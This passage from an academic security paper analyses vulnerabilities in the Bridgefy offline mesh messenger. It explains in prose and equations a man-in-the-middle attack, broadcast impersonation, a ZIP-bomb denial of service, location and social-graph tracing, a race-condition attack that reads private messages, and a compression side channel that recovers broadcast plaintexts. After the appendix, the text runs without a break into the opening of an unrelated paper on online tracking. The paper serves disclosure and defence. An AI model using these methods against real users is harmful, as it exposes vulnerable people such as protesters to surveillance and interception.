session, and dispatches it.

When a Bluetooth packet is received, the SDK looks up
the correct session based on the remote Bluetooth address.
After assembling and decrypting the packet, it is passed to a
generic message handler.
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4 Re-evaluation of Previous Attacks

As outlined in Section 1, several vulnerabilities described
in [1] remain unfixed. We discuss these here in more detail.

4.1 Active Attacker-in-the-middle (MITM)
Due to Bridgefy’s architecture, any PKB received from a
new peer is inherently trusted, following the TOFU principle.
That implies that Bridgefy is vulnerable to a MITM attack
similar to the one reported in [1]. However, with the adoption
of libsignal, the conditions necessary to perform the attack
have changed slightly: Mallory now needs to perform the
handshake with Bob before Alice does, whereas in earlier
versions of Bridgefy this was not required.

The updated attack proceeds as follows: Assume that Alice
and Bob have not met before. Mallory performs a handshake
with each of Alice and Bob and impersonates them to one
another. Any message then sent from one party is then relayed
by Mallory to the other party.

If Mallory tries to perform the attack after Bob has already
run a handshake with Alice, the following would happen:
Mallory would try to impersonate Alice by performing a full
handshake with Bob, using Alice’s userId but Mallory’s own
PKB. When the SDK tries to store Mallory’s PKB under
Alice’s userId, libsignal would throw an exception since Alice
has already established a Signal session with Bob and so a
PKB is already present under Alice’s userId.

Note that Alice and Bob will never be able to confirm if
they are directly exchanging messages or if they are instead
subject to a MITM attack. This is because, in contrast to
popular messaging applications like Signal, Bridgefy does
not provide any mechanism to allow users to verify the keys
of other peers manually.

4.2 Impersonation in the Broadcast Chat
An adversary can forge arbitrary broadcast messages. The
adversary can send messages under the name of any userId
and freely choose a payload content and display name. The
reason for this is the lack of authentication for broadcast
messages.

We implemented a proof of concept for this attack to verify
it. We found, however, that the app permanently saves the
display name of other peers based on their userId. Any peer
that once received a message from Alice will remember her
display name and permanently associate it with her userId.
When Mallory sends a message using Alice’s userId but with
a different display name, other peers will still show Alice’s
real display name for this message.

4.3 Denial of Service (DoS)
We confirmed that Bridgefy remains vulnerable to a ZIP bomb
attack as reported in [1]. This attack exploits that all packets
are decompressed using gzip after decryption. An adversary
can inject a specifically crafted packet that decompresses

Assemble Decompress
and Decrypt

Relay to
Network

Process

Figure 3: Since metadata is encrypted and compressed, a peer
needs to decompress a packet before it can tell the type of
message it received.

to more bytes than are available in the memory of a target.
The target’s app will first freeze and become unresponsive,
and eventually crash. That allows Mallory to prevent specific
devices from participating in the mesh network.

With its overhaul, Bridgefy now encrypts all metadata with
the shared key. That makes it necessary for a peer to decom-
press a packet before being able to determine what type of
message was received, as illustrated in Figure 3. Given the
new flow to process incoming packets, the attack reported
in [1] – where only a single message can shut down the entire
network – no longer works, as it requires peers to forward
mesh packets before decompression.

However, this vulnerability can be used to interfere with
the correct functioning of the mesh network by shutting down
several parts of the network. Specifically, all the peers that
are one hop from the adversarially controlled peers can be
taken offline. Given that resilience is a key requirement for
Bridgefy’s adoption in higher-risk environments, this attack
invalidates one of Bridgefy’s most central appeals.

4.4 Building a Social Graph
As reported in [1], Bridgefy previously transmitted the
sender and receiver fields of multi-hop packets in plaintext.
These are now encrypted under the shared network key. Thus,
an adversary in the mesh network spanned by the Bridgefy
messenger remains able to learn who is privately communic-
ating with whom.

Using the track field of a ForwardPacket, an adversary
can determine what nodes helped to deliver a packet. That
permits building a model of the psychical topology of the
mesh network. An adversary could also use this to trace back
the location of a peer that repeatedly sends messages or relays
such of other peers.

4.5 Historical Proximity Tracing
Bridgefy announced that they now protect against the histor-
ical proximity tracing method reported in [1]. However, our
tests show that the attack is still possible: a full handshake is
performed when two devices have not been near each other
before, while only a partial handshake is performed otherwise.

An adversary can leverage this, e.g. to learn if a peer was
physically present at a protest. Given that the timing and the
approximate size of the handshake packets are known to the
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adversary, the attack is even possible without knowledge of
the shared symmetric key.

5 Breaking Confidentiality of One-to-One
Messages

We identified a TOCTOU vulnerability in the SDK that can
be leveraged to read private messages between two users of
the Bridgefy application.

For simplicity, we assume that the communicating parties
are not directly connected via Bluetooth. While this assump-
tion is not strictly necessary, it makes the exploitation of this
vulnerability easier.

Accompanying the textual description of the attack that
follows, the packet flow used in the attack is illustrated in
Figure 4. The numbering on the very left of the illustration
matches the numbering in the individual steps in the following
paragraphs.

Assume a setting where Alice and Bob’s devices have
already performed a handshake and have exchanged messages
(e.g. M0 in Figure 4). Bob’s device then goes out of range of
Alice’s so that the Bluetooth connection is terminated (step 1
in Figure 4). If Alice’s device was to now send a message
to Bob’s device, it would send it into the mesh network, as
Bob’s device is no longer a directly connected peer.

Next, Mallory performs a full handshake with Alice’s
device so that Alice’s device registers Mallory’s PKB (step 2
in Figure 4). Until this point, Mallory behaves normally as
any honest peer would.

Mallory again sends the first packet of the handshake, this
time using Bob’s userId in place of Mallory’s own (step 3
in Figure 4). No mechanism in Bridgefy prevents Mallory’s
message from being processed. Alice’s device will now asso-
ciate the established session with Bob. In particular, Alice’s
device will queue any subsequent packets intended for Bob
in this session.

Because Mallory initiated a new handshake using Bob’s
userId, Alice’s device will indicate to Alice that Bob’s device
is in range. Suppose then Alice types a message intended for
Bob (M1 in Figure 4). The SDK looks for any active session
where the userId equals that of Bob’s device as per our de-
scription in Section 3.7 (step 4 in Figure 4). Since Mallory
provided the userId of Bob’s device in its second handshake,
Alice’s session with Mallory yields a match. Hence, the mes-
sage is queued in the TransactionManager for the session
with Mallory. If the packet was dispatched at this point, the
packet would be encrypted for Bob (this is because libsignal
also uses the userId of the session to decide which key to
use in the encryption). So Mallory would not be able to read
it. However, instead of being dispatched, the packet is only
queued.

Now, Mallory sends the first packet of the handshake for
a third time, using Mallory’s own userId (step 5 in Figure 4).

Mallory

BobAlice

disconnect
decryption successful

decryption successful

1

2

3

4

5

Figure 4: The packet flow of our TOCTOU attack on Bridgefy.
Alice sends a message to Bob twice: the first message M0 is
sent to Bob only, but Mallory can decrypt the second message
M1, even though it was intended for Bob.

The userId of the session from the perspective of Alice’s
device now equals that of Mallory again. When the SDK on
Alice’s phone is asked for more data to transmit via Bluetooth,
the packet is encrypted by Signal for Mallory and dispatched
(again, libsignal uses the session’s userId to decide which key
to use in the encryption).

The above attack exploits a race condition: because Mallory
sends the userId of Bob’s device in its second handshake,
Alice thinks she has a session with Bob. If she types a message
for Bob, this message is then queued in a session with Mallory.
But Mallory switches the userId back to its own userId in the
third handshake so that when the message is dequeued and the
libsignal encryption is performed, it is done using Mallory’s
public key.

Remark 2 If no proper Signal session was established in
the beginning, switching back to Mallory’s real userId would
require a full 2-round-trip handshake. Given that this attack
exploits a race condition, it is hence important for Mallory
to initiate an honest handshake before proceeding with the
attack.

We implemented a proof of concept for this attack to con-
firm that it works. We will publish the code in our public
repository.3 We sent 100 messages from Alice’s phone, 56 of
which were received and decrypted by Mallory in our tests.
The fact that not all messages were received is explained

3https://github.com/eikendev/breaking-bridgefy-again
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by the attack exploiting a race condition. What plays into
the hands of Mallory is that Bridgefy reschedules a private
message if it cannot be delivered to the receiver. If the SDK
looks up a session matching the receiver’s userId while the
session is associated with Mallory’s userId, it will be resched-
uled. Still, packets can get ‘lost’ for Mallory when the packet
is encrypted right after Mallory switches the userId back to
Bob’s.

Note that when Mallory intercepts a message, Bob will
not receive it: Alice encrypts the packet for Mallory only,
while Mallory cannot re-encrypt it for Bob in Alice’s name.
If Mallory was to encrypt and send a message to Bob while
using Alice’s userId during the handshake, Bob would fail to
decrypt the packet. Instead, if Mallory used their real userId,
Bob would process the packet before Mallory gets the chance
to change the userId of the session again. In other words, the
attack breaks confidentiality but not authentication.

6 Attacks on Broadcast Messages

Attacks on the confidentiality of broadcast messages are not
an issue for the Bridgefy messenger, since the encryption key
is assumed to be public knowledge anyway. However, they
are relevant for other applications that use the Bridgefy SDK,
where a per-application encryption key is used.

6.1 Distinguishing Attack
In Appendix A, we give a simple and efficient distinguisher
that formally breaks the IND-CPA security of Bridgefy’s
broadcast message feature. That such an attack is possible
seems intuitive given that the feature relies on AES-ECB,
a deterministic encryption scheme. However, this intuition
is not correct because, if we let the adversary only choose
the payload content, then the scheme used is no longer de-
terministic (since broadcast packets also contain unpredict-
able fields such as the userIds, the sender’s display name,
and timestamps). Moreover these fields interact with the per-
packet compression to produce variable plaintext inputs to
AES-ECB, even if the payload contents are known. For this
reason, our distinguisher breaking IND-CPA security does
not rely on having controlled input blocks to AES-ECB but
instead exploits Bridgefy’s compression of the full plaintext
before AES-ECB is applied. It is obtained by selecting in the
IND-CPA security game pairs of equal-length payload con-
tents: one payload content that compresses well and one that
does not. AES-ECB aligns data on 16-byte block boundaries
through padding, but we choose the payload contents so that
the difference in compressed packet lengths is (sometimes)
larger than one block in size.

6.2 Plaintext Recovery Attack
This compression-based side channel points the way to our
plaintext recovery attack, which is the focus of the remainder

of this section. We assume from here on that the broad-
cast message payload contents comes from a known set
P = {p1, p2, . . . , pn} of possible payload contents. Addition-
ally, we assume a network where a large number of devices
participate, the senders of the broadcast messages have user-
names of equal length, all broadcast messages contain the
same payload content π (where π ∈P), and the adversary
can capture M different packets containing payload content
π at each of the first H ≤ 50 hops. The attack we describe
allows an adversary A to recover π given the set of M ·H
captured packets, without knowing the shared key.

In our attacks, we will work with different choices of P .
We define

Pb = {pi|32≤ i≤ 126} and P`,n
w = {p1, p2, . . . , pn} ,

where pi ∈Pb is a string that only consists of the single byte
i – Pb contains all printable ASCII characters that a user can
type in the chat window of Bridgefy – and where pi ∈P`,n

w
is the i-the most commonly used password of length ` in
the rockyou password list [28] – a list of 32.6 million real-
world passwords commonly used for password cracking. The
payload contents in P8,256

w , for instance, account for 2.2 %
of all passwords in the whole rockyou data set. We do not
anticipate Bridgefy users to be likely to broadcast passwords,
but we use P8,256

w as a proxy for a set of likely broadcast
messages. It could be replaced by a set of common English
words, for example.

6.2.1 Core Idea. Our attack first simulates the broadcast
of a large number of packets for each p ∈P , gathering stat-
istics on the lengths of packets. The idea is that different
values p ∈P will produce different length distributions due
to varying amounts of compression (and with the amount of
compression possibly depending on the hop count and other
header fields). This simulation step is done offline. Then, in
the second step, we take the set of M ·H captured packets,
specifically, their lengths and use MLE to compute the like-
lihood of each candidate p ∈P , given the captured set of
lengths. This allows us to rank all the candidates p ∈P in
order of likelihood.

6.2.2 Simulation Phase. The adversary runs its simulation
to collect the lengths of a total of N · |P| ·H packets. It builds
|P| sets Xp of vectors, one set for each p ∈P . Each set Xp
contains N vectors, and each vector has length H. A given vec-
tor x∈Xp represents the sequence of packet lengths observed
for a packet transporting payload content p being transmitted
across H hops of the network. The lengths are all multiples
of the AES block size of 16 bytes.

From this data, the adversary can derive an empirical value
for θ`|h,p, this being the probability of observing a certain
length ` given it is observed at hop h for a packet with payload
content p. Note that at hop h the hops field has the value
50−h+1.
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Since this simulation phase is done offline, and the data
reduction required to compute all the values θ`|h,p can be done
during the simulation itself, we can use large values of N and
hence obtain accurate approximations to the corresponding
distributions.

6.2.3 Attack Phase. The adversary observes M broadcast
messages at each of the first H ≤ 50 hops, yielding M ·H
packets. We assume all contain the same payload content
π ∈P , where π is the target of the attack.

From the lengths `i,h of these M ·H packets, the adversary
computes counts c`,h, where c`,h is the number of observed
packets having length ` at hop h. Abstractly, we let l denote
the collection of observed lengths and c the collection of
observed counts.

Now we deploy MLE. For each choice of p ∈P , the ad-
versary computes L(p|l), the likelihood that p is the correct
payload content given the collection of observed lengths, and
finds:

π̂ = argmax
p∈P

L(p|l).

If π̂ = π, then the adversary is able to successfully recover
the payload content of the broadcast message. The adversary
can also output a list of the top candidates by likelihood. It
remains to describe how to compute L(p|l). Recall that

L(p|l) := Pr(l|p) =
M

∏
i=1

Pr(`i,1 `i,2 . . . `i,H |p).

We make the simplifying assumption that, in a given broad-
cast, the observed packet lengths are independent across the
hops and depend only on the payload content p.4 This enables
us to write:

L(p|l) =
M

∏
i=1

Pr(`i,1|p) ·Pr(`i,2|p) · . . . ·Pr(`i,H |p)

=
M

∏
i=1

H

∏
h=1

Pr(`i,h|p) = ∏
`

H

∏
h=1

θ
c`,h
`|h,p

where, in the last step, we work with non-zero counts c`,h
instead of individual packet lengths `i,h. In practice, we work
with the logarithm of the above expression, and compute

π̂ = argmax
p∈P

logL(p|l) = argmax
p∈P

∑
`

H

∑
h=1

c`,h log(θ`|h,p).

Remark 3 If a certain packet length ` is never observed for
a pair (p,h) during the simulation phase, but that length
appears in the attack sample, then we have θ`|h,p = 0 and
then log(θ`|h,p) will be undefined. In this case, we will use

4Instead of assuming that the observed packet lengths are independent
across the hops, we could make a first order Markov assumption concerning
the lengths. Because in our experimental results this only gave a negligible
improvement, we here continue to assume independent lengths only.

smoothing to set θ`|h,p to a reasonable value. From the many
smoothing methods available, we use Laplace smoothing [42,
pg. 260] in our experiments. This is comparatively unsoph-
isticated but easy to implement. We also experimented with
Good-Turing smoothing, but it did not significantly improve
our results.

6.3 Attacking Single-Byte Payloads

We first discuss the instance of the attack where P = Pb,
meaning that π is a single byte. A realistic attack scenario for
this would be when a protest leader surveys participants with
the options to respond ‘y’ for ‘yes’ and ‘n’ for ‘no’. If a signi-
ficant majority answers with either option, an adversary could
determine the answer of that majority with high probability.5

We now provide a possible mechanism to try to explain
why our MLE attack based on compressed packet lengths
can succeed in this case. The hops field in a ForwardPacket
indicates the time to live (TTL) of the packet. For each hop
in the network, this field decreases by 1, and the packet is
eventually dropped before the value reaches 0. Because the
fixed starting value 50 is used for all broadcast packets, the
exact value of the field at each hop is known. When the hops
field matches the byte value of π we can hope that a small
amount of extra compression will be obtained, and the encryp-
ted packet may end up being one block shorter than average.

Figure 5 shows the MessagePack-encoded hops field of a
packet at the first hop, and its payload content. Because the
fields do not share any surrounding bytes, the LZ77 compres-
sion alone cannot cause a change in the compressed packet
length, but the Huffman coding can: in packets where the
payload content π matches the hops field, we observed exper-
imentally that the respective Huffman symbol is on average
represented using 1 bit less than when they do not match. The
root cause for this is the dynamic Huffman table in gzip, where
more frequent symbols are assigned shorter code words.

The DEFLATE data is padded to a full byte, meaning that,
in roughly 1 in 8 cases the single bit difference causes the
gzip output to be one byte shorter when π matches the hops
field than when it does not. Because the AES block size is 16
bytes, in a further fraction of 1 in 16 cases, this byte difference
propagates through the AES-ECB layer and shows up as a
packet that is one block shorter when π matches the hops
field than when it does not.

Our MLE attack, which separates the packets by hop count,
and which empirically estimates the distributions of packet
lengths as a function of hop count and payload content, auto-
matically makes use of any small signal arising through a com-
pression leak of the type described above. In reality, based on
experiments with single-byte payloads, the actual behaviour
of the compression is significantly more complex. Neverthe-

5Our attack assumption was that all broadcast payload contents π are
identical. This would not hold in the given scenario, but the minority answers
can be regarded as noise in the likelihood computations.
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Figure 5: The hops field and the payload content in a MessagePack-serialised packet. All values are represented in hexadecimal,
meaning this packet’s hops value is 50.

less, the MLE attack still does improve plaintext prediction
over random guessing, as we show in Section 6.5 below.

6.4 Equal-Length Payloads
We now discuss the case where P = P`,n

w . In our experi-
ments, we take `= 8 and n = 256, implying that π is 8 bytes
in length, so our attack will be trying to recover an 8-byte
message from a set of 256 possibilities. We also look at
P = PX ,256

w , where we consider payload contents of mixed
lengths. In the real world, when peers repeatedly share a mes-
sage π with each other through the broadcast functionality, an
adversary interested in this message could leverage the attack
to recover π.

As two examples, P8,256
w contains the strings ‘11111111’

and ‘princess’. For the former, the effects of compression
are easily visible in packet lengths because the string itself
contains duplicate data. For the latter, the compression yields
a signal because parts of the string can also appear in the
metadata. As we will see in our experimental results, the
signal is strong enough to give the MLE attack an advantage
over random guessing.

6.5 Results
We implemented a proof of concept simulation for the attack
to confirm that the compression leak is sensitive enough to
provide statistically significant results. We perform the attack
with N = 220, and with different H and M, using Laplace
smoothing to account for lengths not encountered during the
simulation.

We ran the attack for each of Pb, P8,256
w , and PX ,256

w .
For each such set P , we ran the attack using each π ∈P
as a target, performing n = 26 attacks per target to remove
noise. In each such run, we created a ranking of all possible
candidates from P ordered by their log likelihoods. Before
we present our results, we define the rank of an attack run.

Definition 1 Let π ∈P be the payload content used to gen-
erate a sample in an attack run. We call the rank of that attack
run the index of π within the ordered ranking of all possible
candidates from P .

So, for example, if the rank is 1, then the attack output the
correct π as having the highest likelihood, if the rank is 2, then

the attack output the correct π as having the second highest
likelihood, etc.

Let rπ,i be the rank of the i-th run for payload content π.
We denote

r̄π =
1
n

n

∑
i=1

rπ,i

as the average rank over all runs for the payload content π,
and

r̄P =
1
|P| ∑

π∈P

r̄π

as the average rank over all runs for all payload contents in
P . To measure the overall accuracy of our attack, we look at
the relative frequency of ranks among all measured payload
contents. In particular, we are interested in the percentage of
attack runs where the rank is less or equal to R, for increasing
values of R. When randomly guessing π, we expect this rela-
tion to be linear – for example, half of the attacks would have
a rank below the average value and the other half above. The
plots in Figure 6 then highlight what difference our attack
makes in comparison to random guessing.

Finally, we evaluate how the parameters H and M affect
the accuracy of the attack. For this, we run simulations and
attacks with various values for these parameters, while fixing
N = 220 (in the simulation phase). Figure 7 shows the average
rank across all payload contents for several combinations of
parameters.

Our results demonstrate that the attack outperforms random
guessing by a significant margin. As a point of comparison,
Pb is of size 95, so random guessing would result in an
average rank of 47.5, whereas the attack achieves average
ranks well below that. We note that increasing H (the number
of hops over which packets are observed) leads to a better
performance of the attack, as does increasing M (the number
of packets available at each hop).

Remark 4 Assuming an a priori non-uniform distribution on
P is known, we can replace MLE by Maximum A Posteriori
(MAP) estimation. This uses the a priori distribution to weight
the candidates when computing likelihoods, resulting in a
more powerful attack.
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Figure 6: Cumulative frequency histogram of ranks, comparing our attack against random guessing for different P . The plots
show the portion of ranks less than R for H = 2, N = 220 and M = 28.
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Figure 7: Average rank r̄ for different (M,H).

7 Discussion

We gave a practical attack which enables an attacker to read
private messages sent in the Bridgefy messenger because of an
improper integration of the Signal protocol. Indeed, the most
restricting requirement is physical presence: an adversary
must be in sufficiently close proximity to the target to establish
a direct Bluetooth connection. This does not pose an obstacle
in a protest, where an adversary can disguise themselves as a
protester. This highlights the dangers of ‘bolting on’ security
to an otherwise unchanged design and suggests the need to
carefully redesign Bridgefy to integrate tightly and fully its
security mechanisms, here provided by the Signal protocol.

We also gave an attack to recover plaintexts of broadcast
messages without knowing the shared encryption key. This
attack is only relevant to the Bridgefy SDK but not to the
Bridgefy application and its users, where this shared key can
be assumed to be known to the adversary, as mentioned earlier.
The attack is enabled by the decision to perform compression
before encryption. This exposes information about the under-
lying data based on the output length. Our attack assumes a
small space of possible plaintexts. This is reasonable in many
contexts. For example, in a protest setting, a small group of
protest leaders [4] may issue typical messages to the group.

We illustrated the attack by recovering plaintext from a small
set of possible passwords. Preventing compression oracle
attacks is a known problem in the literature. The natural solu-
tion is to remove compression and to introduce an appropriate
randomised padding mechanism to prevent length-based at-
tacks. However, this needs to be done carefully so as to avoid
traffic analysis attacks, cf. [21], and such an approach would
reduce Bluetooth performance while enhancing security.

The privacy issues of Bridgefy remain largely unresolved.
While sender and receiver identities are no longer transmitted
in plaintext, any peer in the mesh can decrypt the relevant
fields. In the case of the Bridgefy messenger, the userIds of
sender and receiver hence continue to be publicly visible. An
adversary can leverage this to build communication graphs
and thereby identify protest leaders. Moreover, an adversary
could use the track field of a ForwardPacket to approxim-
ate the physical location of a peer in the network. It remains
an open research question how (flooding based) mesh net-
working can efficiently provide sender and receiver privacy
even against passive adversaries.

Bridgefy’s decision to adopt the Signal protocol to replace
its previous home-grown RSA-based solution – heeding the
often-repeated ‘don’t roll your own crypto’ advice – is to
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be applauded. Yet, our ability to still mount practical attacks
against Bridgefy’s flagship application highlights that this
common mantra is insufficient. What else do we expect inex-
perienced developers to do other than call out to a third-party
cryptographic library when faced with the task of securing
their application? That is, while progress has been made in
simplifying cryptographic APIs, the task of cryptographically
securing an application is still non-trivial. Exploring whether
this is inherent, i.e. whether a certain defensive development
mindset and training will remain required, or not, is a fas-
cinating and pressing question for usable, developer-friendly
cryptography and security.

Overall, we note that Bridgefy’s track record on security
contrasts with the fact that it continues to be advertised to
higher-risk users. Ours is the second work within a year to
present significant and practically exploitable security vul-
nerabilities in Bridgefy’s flagship application. Moreover, the
long response time and lack of transparency of the develop-
ment team when responding to reports of security vulnerab-
ilities suggest a team inexperienced with handling security-
critical issues. Yet, this track record does not seem to impact
Bridgefy’s popularity among those who offer advice on how
to stay connected in face of government-mandated Internet
shutdowns, as discussed in the introduction. This highlights
that there is, seemingly, no good alternative to Bridgefy,6

i.e. that the problem of secure offline messaging remains
unsolved in practice.
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A Broadcast Message Distinguisher

We formalise the game IND-CPA(q) analogous to [7, Sec-
tion 5.3] between an adversary A and a challenger C that
acts as a Left-or-Right (LoR) oracle. In the following game,
let KGen,Enc, and Dec be the key generation function, the
encryption function, and the decryption function employed
by Bridgefy respectively, and SE = (KGen,Enc,Dec) the
symmetric encryption scheme. Note that Enc includes the
compression using gzip, and Dec the decompression. Further,
let `(x) denote the length of string x and xy the repetition of x
with y copies.

Game IND-CPA(q):

1. C generates a key K←$KGen and a bit b←$ {0,1}
uniformly at random.

2. A submits at most q queries to C . In the ith query,
A chooses two payload contents πi,0,πi,1, such that
B = `(πi,0) = `(πi,1), and submits (πi,0,πi,1) to C . C
computes ci = EncK(πi,b) and returns ci to A .

3. A outputs a guess b̂ ∈ {0,1}.

We denote the advantage of A in this game as

AdvIND-CPA(q)
SE (A ,B) = 2 · |Pr(b̂ = b)−1/2|.
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Figure 8: The advantage of A to win the game IND-CPA(q)
for different B.

With q ≥ 2, A can submit the pair (π1,0,π1,0) in the 2nd
query, and compare c1 = EncK(π1,b) to c2 = EncK(π1,0): A
can infer from matching blocks in c1 and c2 that the underly-
ing gzip data also matches, suggesting that b = 0. Note that
because we do not assume Enc to be deterministic, c1 and c2
do not match in every round of the game. We implemented
this attack using a program that simulates a Bridgefy network
with sufficient accuracy but without the physical setup. We
measure AdvIND-CPA(2)

SE (A ,B) for different values of B in Fig-
ure 8 by playing the game n = 218 times each. The simulation
confirms that Bridgefy’s scheme is not IND-CPA secure.

But Bridgefy’s scheme is even weaker: since compression
precedes encryption, A can draw conclusions about the plain-
text based on the ciphertext, if only the length of the plaintext
is known. A can use this to win the game IND-CPA(1): A
submits a single query (π0,π1) in Step 2, where π1 contains
duplicate data, but π0 does not. In particular, we let π0 be a
random string, while π1 is 0B, where B = `(π0) = `(π1).

Since π1 is a string with duplicate data that can be com-
pressed efficiently with gzip but π0 is not, we can expect that
`(EncK(π0))> `(EncK(π1)) for increasing B. The difference
in length of the compression output propagates to the length
of the encryption output, such that b is leaked: in Step 3, A
outputs

b̂ =

{
0, if `(c)> `(EncK′ (π0))+`(EncK′ (π1))

2
1, otherwise.

Here, EncK′(π0) and EncK′(π1) are not derived by making a
query to C . Instead, A chooses an arbitrary key K′ and runs
EncK′ locally. While K is unknown to A , an arbitrary key K′

can be chosen since only the output length is of interest. The
userIds, sender’s display name and timestamps used to derive
c are also unknown to A , and hence the values used by A will
diverge from those used by C . This introduces more noise to
the compression length.

As before, we measure AdvIND-CPA(1)
SE (A ,B) for different

B in Figure 8 by playing the game n = 218 times each. At
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B = 26, A is already able to make a correct guess in each run
of the game.

B Network Simulation Considerations

In this section, we discuss how we performed simulations
with sufficient accuracy for our attacks. We implemented
the program ptxtrecov in Go. ptxtrecov can repeatedly
simulate Bridgefy networks, where a single node sends a
broadcast message to other peers.

In the simulation phase, a large number of broadcast pack-
ets are generated for each payload content p at each hop h.
The lengths of these packets are then recorded in a map which
counts how often a length is observed for p at h.

While Bridgefy uses the official MessagePack
library for Java [29], we used the Go library
vmihailenco/msgpack [31]. To generate data repres-
entative for the Bridgefy application, we need to be especially
careful in the serialisation step: MessagePack is somewhat
flexible concerning the format used to encode a type. For
instance, we found that Bridgefy converts timestamps with
the float64 format of MessagePack, although they could be
converted with their dedicated timestamp extension format.
Moreover, our Go library did not convert certain integers
to their smallest possible format, as is intended by the
MessagePack specification. To account for these differences,
the types for these fields needed to be forced using our
library.

The display name can have variable length, and so can the
respective field of a packet. Because we draw conclusions
based on the distribution of packet lengths, we need to ensure
that the values we choose for this field do not cause a bias in
the derived distributions. We decided to randomly choose the
display names from a list composed of the 64 most common
female and 64 most common male English names with a
length of 5 characters.

We used a bespoke pseudo-random generator aesrand
based on AES in counter mode to generate all the UUIDs
needed in packets. We designed aesrand to be seeded and
used it carefully so as to avoid both blocking and overlapping
sequences of outputs in our multi-threaded simulations.

We also used aesrand to produce timestamps and time
differences. In all experiments, we start at a constant base
time T , given as a UNIX timestamp in microseconds. We
can assume A to know T . The time at which a broadcast
message is assumed to be sent (the ds field in the payload)
is t0 = T +∆0, where ∆0 is a random 24 bit integer. ∆0 is
drawn for each broadcast message individually. Note that
using 24 bit for ∆0 allow the attack to span over more than
4 h.

The packet’s creation field is calculated as t1 = t0 +∆1,
where 4≤ ∆1 < 64. That is consistent with the behaviour of
the Bridgefy messenger in the real world. The small delay

occurs when the application passes the message on to the
SDK for processing.

At each hop, the added field is set to the time when the
packet is queued. The delay now reflects the time it takes
to transmit the message via Bluetooth to the next hop and
is, therefore, longer than ∆1. We calculate the field as t ′2 =
t2 +∆2, where 128≤ ∆2 < 512, and t2 is the field’s value in
the previous step.
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Abstract
Online tracking is a primary concern for Internet users, yet
previous research has not found a clear link between the cog-
nitive understanding of tracking and protective actions. We
postulate that protective behaviour follows affective evalua-
tion of tracking. We conducted an online study, with N=614
participants, across the UK, Germany and France, to inves-
tigate how users feel about third-party tracking and what
protective actions they take. We found that most participants’
feelings about tracking were negative, described as deeply in-
trusive - beyond the informational sphere, including feelings
of annoyance and anxiety, that predict protective actions. We
also observed indications of a ‘privacy gender gap’, where
women feel more negatively about tracking, yet are less likely
to take protective actions, compared to men. And less UK
individuals report negative feelings and protective actions,
compared to those from Germany and France. This paper con-
tributes insights into the affective evaluation of privacy threats
and how it predicts protective behaviour. It also provides a
discussion on the implications of these findings for various
stakeholders, make recommendations and outline avenues for
future work.

1 Introduction

In recent years, internet advertising has become increasingly
tailored to individual users, and is often referred to as online
behavioural advertising or targeted advertising [25]. When
users visit a web page, its contents can come from a first- or
third-party, where the first-party is the one the user is explic-
itly visiting, while the third-party includes advertising net-
works, analytics companies and social networks that contract
with first-party websites [43]. The first- or third-party places
cookies as tracking mechanism on users’ devices. In addition,
online tracking has gradually developed into more sophis-
ticated methods to exploit user data, via browser-based fin-
gerprinting [52] and tracking across multiple devices, where
fingerprinting information combined with cookies can provide

a well-targeted data collection and tracking of users. Other
tracking technologies include web beacons, clear GIFs, page
tags and web bugs, that take the form of a small, transparent
image. In European countries, the General Data Protection
Regulation (GDPR) [67] and the proposed ePrivacy Regula-
tion [18], with the UK establishing its implementation [49],
stipulate that online service providers are required to inform
individuals that tracking technologies are present, what they
do and why, and to receive users’ consent to use them.

The general public opinion in national surveys as reported
in the UK and Europe is that tracking online is a privacy
concern for most citizens [10, 16], and objecting to receiv-
ing direct marketing is the most exercised right in Europe
(accounting for 24% of participants surveyed in 2019) [17].
However, research shows that individuals have inaccurate and
incomplete mental models of the mechanics of behavioural
advertising [78] and have misconceptions about the purpose
of cookies [44]. They perceive behavioural advertising to
be either (or simultaneously) useful in providing ads that
match their interests [5, 44, 71], privacy-invasive [44, 70, 71],
creepy [71], embarrassing or suggestive [1], and often show
varying acceptance of behavioural advertising depending on
the context [12, 45, 72]. With regards to the use of privacy
technologies for tracking protection, users’ mental models of
tracking (that is their cognitive evaluation of tracking) only
weakly relate to their use of tracker-blocking extensions [42],
where tracking protection tools are also thought to suffer from
usability issues [23, 37, 59].

We postulate instead that affective evaluations can better
predict protective actions. We ground our proposition in litera-
ture on the informative and decisive value of emotions, where
models such as the affect-as-information hypothesis [15],
the risk-as-feelings hypothesis [40], or the use of affective
heuristics when judging risky situations [63], all explain the
influence of affect in decisions and on behaviour.

In addition to all Internet users potentially facing threats
to their privacy, demographic and personal attributes may in-
fluence the experience of tracking and protective behaviour.
In particular, it is known that women tend to be more sensi-

USENIX Association 31st USENIX Security Symposium    287



tive and concerned about their privacy online compared to
men [11, 46], who have been shown to be more familiar with
various privacy protection methods and to use them more
often than women [46]. Furthermore, individuals of different
countries may use different privacy protection practices [19],
where variation in behaviour may be due to differences in the
importance attributed to data protection [64], in sensitivity
with regards to the duration or quantity of data collected [21]
or in the perceived risks of privacy violations [35].

As a consequence, we aim to investigate how feelings about
(third-party) tracking associate with and predict protective be-
haviour, across gender and country. To enable this inquiry, we
define the following research questions, starting with elicita-
tion of feelings and protective actions:

RQ1 “How do individuals feel with regards to third-party
tracking?", given their gender and country differences.

RQ2 “What tracking protective actions do individuals em-
ploy online?", given their gender and country differences.

RQ3: “How are individuals’ feelings about third-party
tracking associated with their protective actions?"

RQ4: “How do individuals’ feelings about third-party
tracking predict whether they take protective actions or not,
given their gender and country differences?"

Contributions. This paper contributes a relatively large-
scale, gender-based and cross-national investigation of user
tracking protection, to the rich user-centric privacy behaviour
and tracking protection research area. It employs qualitative
and quantitative analyses to answer the research questions.
We summarise our findings as follows:

(1) most individuals (71.8% of our sample) feel nega-
tively about third-party tracking, where feeling tones can
be broadly categorised into (a) generally not okay/negative,
(b) sometimes okay, sometimes not okay, (c) generally
okay/indifferent, or (d) other tones;

(2) individuals employ tracking protection actions that can
be grouped within 9 technology types and a relatively large
% do not take any protective actions (34.7% of our sample);

(3) there is a significant association between feelings about
third-party tracking and self-reported actions, and we provide
an intuitive spatial map to visualise this association;

(4) feeling tones of not okay, boundary loss, annoyance
or anxiety about tracking predict whether individuals take
protective actions or not;

(5) more women feel negatively about tracking and report
to not take any protective actions, compared to men, whose
reports show that they are twice more likely to act protectively
than women;

(6) less UK individuals expressed negative feelings and
reported protective actions, compared to German and French
individuals. UK individuals were also twice less likely to take
any protective actions.

Outline. In the rest of the paper, we review relevant lit-
erature, present the user study with the method and results,
discuss the implications of our findings and conclude.

2 Background

We review literature on user attitudes, perceptions and pro-
tection methods with regards to tracking. We then present re-
search supporting the affective aspects of privacy, and review
theories and research on behavioural responses to emotions.
We complete this section with gender and national culture
impacts on privacy.

